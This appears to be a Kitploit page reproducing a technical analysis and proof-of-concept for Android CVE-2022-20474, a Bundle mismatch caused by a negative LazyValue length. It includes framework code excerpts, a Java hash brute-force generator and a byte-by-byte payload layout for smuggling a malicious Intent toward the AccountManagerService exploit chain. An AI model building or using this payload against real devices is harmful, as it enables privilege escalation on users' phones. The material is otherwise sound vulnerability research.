Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/cxxsheng/cve-2022-20474
Android SecurityVulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubcxxsheng/cve-2022-20474

CVE-2022-20474

Detailed technical analysis and proof-of-concept for Android CVE-2022-20474, a Bundle mismatch vulnerability exploiting LazyValue with negative length to achieve self-changing Bundle behavior.

View Repository
20111 year agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-20474 Analysis — Self-changed Bundle under LazyValue

Preface

A friendly reminder: before reading this article, you should have a basic understanding of Bundle Mismatch vulnerabilities. If you haven't read the following references, it is recommended to read them first:

  1. Bundle Feng Shui — Detailed Explanation of Android Serialization and Deserialization Mismatch Vulnerability: A classic introductory tutorial.
  2. History of Android Deserialization Vulnerability Offense and Defense: A good summary article.
  3. TheLastBundleMismatch: The first article on Bundle Mismatch in the LazyValue mode.

Background

Recently I have been carefully studying michalbednarski's LeakValue article. While discussing with Canyie, he mentioned that this article also describes a case of Self-changing Bundle in the LazyValue scenario. I then searched for the original text, and indeed there was such a paragraph that I directly missed when reading Michal's article. The original text says:

(Also LazyValue with negative length specified can be used (without using other bugs described in this writeup) to create self-changing Bundle, the thing LazyValue was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)

Michal is probably referring to CVE-2022-20474 (bulletin, patch). I took a look at the patch, but the function in the patch link was not very complete. After completing it, take a closer look:

root@kitploit:~
@@ -4388,6 +4388,9 @@
    public Object readLazyValue(@Nullable ClassLoader loader) {
         int start = dataPosition();
         int type = readInt();
         if (isLengthPrefixed(type)) {
             int objectLength = readInt();
+            if (objectLength < 0) {
+                return null;
+            }
             int end = MathUtils.addOrThrow(dataPosition(), objectLength);
             int valueLength = end - start;
             setDataPosition(end);
             return new LazyValue(this, start, valueLength, type, loader);
         } else {
            return readValue(type, loader, /* clazz */ null);
         }
    }             

The objectLength in the code is the length in LazyValue. In fact, this is only the length of the mutable object contained in LazyValue, while the entire LazyValue length is controlled by the mLength field, i.e., valueLength in the code. In the constructor of LazyValue, this value is passed to mLength.

Let's compare the layout format of LazyValue as follows:

root@kitploit:~
       /**
         *                      |   4B   |   4B   |
         * mSource = Parcel{... |  type  | length | object | ...}
         *                      a        b        c        d
         * length = d - c
         * mPosition = a
         * mLength = d - a
         */

Based on the above content, we can derive the following facts:

  1. mLength represents the total length of the entire LazyValue. mLength = objectLength + 8 bytes.
  2. objectLength should be greater than or equal to 0.
  3. The LazyValue object only saves mLength, not objectLength, because when LazyValue does memory copy, it copies based on the entire object.
  4. After reading, the pointer moves forward, and the LazyValue might be read again.

Then, after careful consideration, we all agreed that these facts are not very useful! Because based on the above facts, it can only be modified once during reading. We know that the core idea of Self-changed Bundle is to modify after reading is complete, in order to bypass security checks.

Just as we were about to give up, we suddenly noticed some details in the patch description:

Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.

Abnormal objectLength

It mentions that when objectLength is -8, some problems occur. This gave us some additional insight. Can LazyValue still apply normally at this point?

root@kitploit:~
        @Override
        public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    // Check mSource != null guarantees callers won't ever see different objects.
                    if (mSource != null) {
                        int restore = source.dataPosition();
                        try {
                            source.setDataPosition(mPosition);
                            mObject = source.readValue(mLoader, clazz, itemTypes);
                        } finally {
                            source.setDataPosition(restore);
                        }
                        mSource = null;
                    }
                }
            }
            return mObject;
        }

  	/**
     * @see #readValue(int, ClassLoader, Class, Class[])
     */
    @Nullable
    private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
            @Nullable Class<?>... itemTypes) {
        int type = readInt();
        final T object;
        if (isLengthPrefixed(type)) {
            int length = readInt();
            int start = dataPosition();
            object = readValue(type, loader, clazz, itemTypes);
            int actual = dataPosition() - start;
            if (actual != length) {
                Slog.wtfStack(TAG,
                        "Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
                                + "  consumed " + actual + " bytes, but " + length + " expected.");
            }
        } else {
            object = readValue(type, loader, clazz, itemTypes);
        }
        return object;
    }

The actual readValue starts reading from mPosition, then sequentially reads LazyType and objectLength, and enters the normal Value reading flow, e.g., Parcelable needs to read ClassName and then execute createFromParcel. After reading, it is no different from a normal Key-Value and does not affect subsequent serialization. Revisiting, the core idea of Self-changed Bundle is to modify after reading is complete. This is just an ordinary out-of-bounds read, so this approach seems not to work.

What if LazyValue does not apply during this process? In other words, it continues to participate in IPC as a LazyValue. At this point, its writeToParcel function is called:

root@kitploit:~
     public void writeToParcel(Parcel out) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    if (mSource != null) {
                        out.appendFrom(source, mPosition, mLength);
                        return;
                    }
                }
            }
            out.writeValue(mObject);
        }

The entire LazyValue is directly copied over, unless mLength = 0. Wait! As mentioned above, mLength = objectLength + 8 bytes. From the patch information, to trigger the vulnerability, objectLength should be -8, so mLength = 0 holds true. In other words, in this scenario, the entire LazyValue is simply gone, only String Key is copied, resulting in a missing write, and the condition for Self-changed Bundle is directly satisfied.

Knowing the cause, we can start reproducing. However, before that, we still need a few more details.

Detail 1: Two Types of Bundle

root@kitploit:~
 static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
 private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'

We all know that the memory layout of Bundle is roughly as follows:

root@kitploit:~
       /**
         *        |   4B   |   4B   |   4B   |
         * Bundle{| length |  MAGIC |  size  | Key  | Value | Key  | Value | ...}
         *
         */

MAGIC is the magic number of Bundle in memory layout, which can be BUNDLE_MAGIC or BUNDLE_MAGIC_NATIVE. The most important difference between the two is that BUNDLE_MAGIC will cause the Key-Value to be reordered after deserialization, as shown in the following code:

root@kitploit:~
 /**
     * Reads a map into {@code map}.
     *
     * @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
     * @param lazy   Whether to populate the map with lazy {@link Function} objects for
     *               length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
     *               details.
     * @return a count of the lazy values in the map
     * @hide
     */
    int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
            boolean lazy, @Nullable ClassLoader loader) {
        int lazyValues = 0;
        while (size > 0) {
            String key = readString();
            Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
            if (value instanceof LazyValue) {
                lazyValues++;
            }
            if (sorted) {
                map.append(key, value);
            } else {
                map.put(key, value);
            }
            size--;
        }
        if (sorted) {
            map.validate();
        }
        return lazyValues;
    }

The MAGIC flag ultimately affects the value of sorted in readArrayMap, triggering sorting of the map. The comment also mentions that the sorting method is based on the hash value of the key String.

Detail 2: Overlap in Deserialization

root@kitploit:~
   /**
     *                 a
     * ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3  | Value3 |} 
     *
     */

Let's imagine the parsing flow of ArrayMap again. During the first round of parsing, Key1 is parsed first, then LazyValue1 is attempted to be parsed. However, the objectLength of LazyValue1 is -8, so the parcel pointer returns to the beginning of LazyValue1, i.e., point a. This is mentioned in fact 4 above. At this point, the first Key-Map has been parsed. The second Key-Value starts parsing from point a. At this point, it first reads the length of the String. Suppose LazyValue1 contains a Parcelable, then this length should be 4. Therefore, the actual Key2 starts from point a, i.e., Key2 = + . contains no data, so its length is 8 bytes ( + ). The total length is 4 (length indicator) + 4 * 2 + 4 ("\0") = 16 bytes. Subtracting the 8 bytes of , we need to add another 8 bytes, i.e., 2 . Then we read . Therefore, during the first parsing, we need a to handle the pointer moving forward caused by a negative in . We don't care about the value of this because it is only used during the first parsing; it's just a tool. Since it is a disposable tool, we want it to stay away from our critical data after the first parsing. And contains our malicious data. Ideally, the hash value of should be greater than that of , so it won't affect subsequent parsing. Through , we can achieve this by adjusting the hash value of , which will be detailed in . Then we enter the parsing of . Bundle mismatch is routine: put a in containing the malicious . But has some additional constraints. After the first round of deserialization, the layout of should be like this, with the tool thrown to the end:

root@kitploit:~
Key1-Value1 | Key3-Value3 | Key2-Value2

As mentioned in Abnormal objectLength above, the length of LazyValue1 is 0, so when writeToParcel is called, it is not copied at all! The actual layout is:

root@kitploit:~
Key1 | Key3-Value3 | Key2-Value2

After reading Key1, it still needs to read Value1. Here again, an out-of-bounds read occurs. Key3 has to bear the burden of reading LazyValue1. The first int in Key3 must serve both as the String length and as the LazyValue Type. This means that the length of Key3 cannot be too short; otherwise, the hash is hard to compute. Looking at the list of LazyValue Type, I picked:

root@kitploit:~
private static final int VAL_LIST  = 11; // length-prefixed

Of course, you could choose 12, 16, or 17 as long as it is not too short.

The second int in Key3 also serves as the Length of LazyValue. Through this, we can control the length of LazyValue1 and point the next pointer to the beginning of the malicious Intent. You might say that the content inside LazyValue1 is invalid? That's not my concern. As long as you don't call getXXX to apply it, it will always be a LazyValue.

Detail 3: Brute-force Generator Implementation

Just write a brute-force generator:

root@kitploit:~
private static Pair<Integer, Integer> generateInt(){
        while (true) {
            Random random = new Random();
            int number1 = random.nextInt();
            int number2 = random.nextInt();
            Parcel parcel = Parcel.obtain();
            parcel.writeInt(11); //
            parcel.writeInt(32);
            parcel.writeInt(0);
            parcel.writeInt(0);
            parcel.writeInt(number1);
            parcel.writeInt(number2);
            parcel.writeInt(0);
            parcel.setDataPosition(0);
            String str = parcel.readString();
            if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() <  "Cxxsheng".hashCode() + 1000000)
            {
                parcel.recycle();
                return new Pair<>(number1, number2);
            }
            parcel.recycle();
        }

Of course, we could also brute-force Key2 to adjust it to the front, but the length of Key2 is fixed at 4, which is quite short, leaving less room for manipulation. Meanwhile, we reserved some space for Key3 above, making brute-forcing easier. Suppose our Key1 is the string "Cxxsheng". We want to control the hash value of Key3 to be larger than that of "Cxxsheng", but only slightly larger. I set the range to 1,000,000, so they have a high probability of staying together forever, and the third party Key2 cannot interfere. As mentioned above, the first two int of the string are fixed. So we first write VAL_LIST (also the String length), calculate that it is 32 bytes away from the malicious Intent, and the remaining zeros can be used for brute-forcing. Just randomly pick two and brute-force.

Reproduction

By using number1 and number2, we can control the sorting of the third value in ArrayMap. Since ArrayMap sorts based on the hashcode of the key, this allows the third value to become the second after deserialization, immediately following the first "Cxxsheng", as shown below:

root@kitploit:~
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[some garbled text]=[malicious ByteArray], [some garbled text]=0}]

We can see that the reading order will also differ from the writing order. After the write is complete, as analyzed above, the entire LazyValue is discarded, and the third Key-Value is re-sorted to the second position, including its type and objectLength. Therefore, the page layout becomes as follows:

Exploitation

Readers can use the classic AccountManagerService exploit chain on their own. Whether it can be exploited is beyond the scope of this article, as it depends on whether the checkKeyIntentParceledCorrectly function existed in the November 2022 patch. Let me explain additionally: this function uses a simulated IPC call flow to block the AccountManagerService exploit chain. Therefore, even if a Mismatch exists on Android 12 or 13, it may not necessarily be exploitable; a way to bypass this function needs to be found.

We can mimic this function to simulate the IPC call flow as follows:

root@kitploit:~
    private Bundle simulateIPCBundle(Bundle originBundle){
        Parcel p = Parcel.obtain();
        p.writeBundle(originBundle);
        p.setDataPosition(0);
        byte[] bs = p.marshall(); // during debugging, you can see the parcel data here
        // marshall does not change the Parcel pointer
        // p.setDataPosition(0); 
        Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
        p.recycle();
        return simulateBundle;
    }

Then enjoy the log output diagram of the simulated IPC call flow. For details, please refer to my Github code: description

Download Tool
LazyValue1
FakeKey2
LazyValue1
LazyType
objectLength
string
LazyValue1
writeInt
Value2
Key2-Value2
objectLength
LazyValue1
Key2-Value2
Key3-Value3
Key2
Key1
Detail 1
Key3
Detail 3
Key2-Value2
ByteArray
Value3
Intent
Key3
ArrayMap
Key2-Value2
ValueDescription
"Cxxsheng"First key
4Read in two rounds: first round represents VAL_PARCELABLE; second round becomes the String Length of the second key
-8Read in two rounds: first round represents the objectLength of LazyValue, causing the read pointer to move forward, leading to two rounds of reading; second round becomes the String Value of the second key
0String Value of the second key
0String Value of the second key
1VAL_INTEGER
0Second Value
11String Length of the third key
32String Value of the third key
0String Value of the third key
0String Value of the third key
number1String Value of the third key, these two values are used to adjust sorting
number2String Value of the third key, these two values are used to adjust sorting
0String Value of the third key
13VAL_BYTEARRAY
Length of LazyValueCalculated
ByteArray LengthCalculated
ByteArrayContains the malicious Key-Value, i.e., Intent.EXTRA_INTENT and its Intent
ValueDescription
"Cxxsheng"First key
11VAL_LIST
32Length of the first value. Whether the following is valid is no longer important (since this LazyValue will never be applied). This directly points to the front of the malicious Intent in ByteArray
0Value in LazyValue
0Value in LazyValue
number1Value in LazyValue
number2Value in LazyValue
0Value in LazyValue
13Value in LazyValue
Length of LazyValueValue in LazyValue
ByteArray LengthValue in LazyValue
ByteArray start / Intent.EXTRA_INTENTSecond key
IntentSecond value
Third Key-ValueSorted to the end